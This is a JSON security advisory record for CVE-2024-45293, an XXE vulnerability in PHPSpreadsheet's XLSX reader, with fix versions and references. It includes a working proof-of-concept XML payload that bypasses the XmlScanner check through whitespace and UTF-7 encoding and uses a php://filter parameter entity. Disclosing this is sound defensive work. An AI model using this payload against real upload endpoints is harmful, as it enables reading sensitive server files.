{"id":"CVE-2024-45293","aliases":["GHSA-6hwr-6v2f-3m88"],"url":"https://o3.security/vulnerability/CVE-2024-45293","summary":"XML External Entity Reference (XXE) in PHPSpreadsheet's XLSX reader","details":"### Summary\nThe security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet. \n\n### Details\nThe security scan function in `src/PhpSpreadsheet/Reader/Security/XmlScanner.php` contains a flawed XML encoding check to retrieve the input file's XML encoding in the `toUtf8` function. \n\nThe function searches for the XML encoding through a defined regex which looks for `encoding=\"*\"` and/or `encoding='*'`, if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic. \n\n ```\n$patterns = [\n            '/encoding=\"([^\"]*]?)\"/',\n            \"/encoding='([^']*?)'/\",\n];\n```\n\nThis logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the `=` in the attribute definition. \n\n### PoC\n\nNeeded:\n- An Excel sheet (XLSX) with at least one cell containing a value.\n\nUnzip the excel sheet, and modify the `xl/SharedStrings.xml` file with the following value (note the space after `encoding=`):\n\n```\n<?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?>\n+ADw-!DOCTYPE abc [ ... ]>\n```\n\n#### Step-by-step\n\n1. First off, the following string is encoded in base64:\n\n```\n<!ENTITY internal 'abc'  >\" \n```\n\nResulting in:\n\n```\nPCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\n```\n\n2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.\n\n```\n<?xml version=\"1.0\" encoding= 'UTF-7' standalone=\"yes\"?>\n+ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM \"php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K\" > %xxe;]>\n<sst xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" count=\"1\" uniqueCount=\"1\"><si><t>&internal;</t></si></sst>\n```\n\nWhen this file is parsed by the library, the value `abc` should be in the original filled cell.\n\nWith the help of the PHP filter wrapper, this can be escalated to information disclosure/file read. \n\n### Impact\nSensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.","published":"2024-10-07T20:03:27.080Z","modified":"2026-10-28T02:31:14.100904106Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.3.0"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"1.29.1"},{"ecosystem":"Packagist","name":"phpoffice/phpspreadsheet","fixedVersion":"2.1.1"},{"ecosystem":"Packagist","name":"phpoffice/phpexcel","fixedVersion":null}],"fix":{"url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/3bcd51826b7f089d1641e756c83030c30c3bdb0c","label":"PHPOffice/PhpSpreadsheet@3bcd518"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/45xxx/CVE-2024-45293.json"},{"type":"ADVISORY","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hwr-6v2f-3m88"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-45293"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/3bcd51826b7f089d1641e756c83030c30c3bdb0c"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/7d6cb09f6e8204f65e6dd5a0490f7f45f44bb331"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/949ff63e1f6413e6485f73af012d506aa81384bf"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:14.100904106Z"}}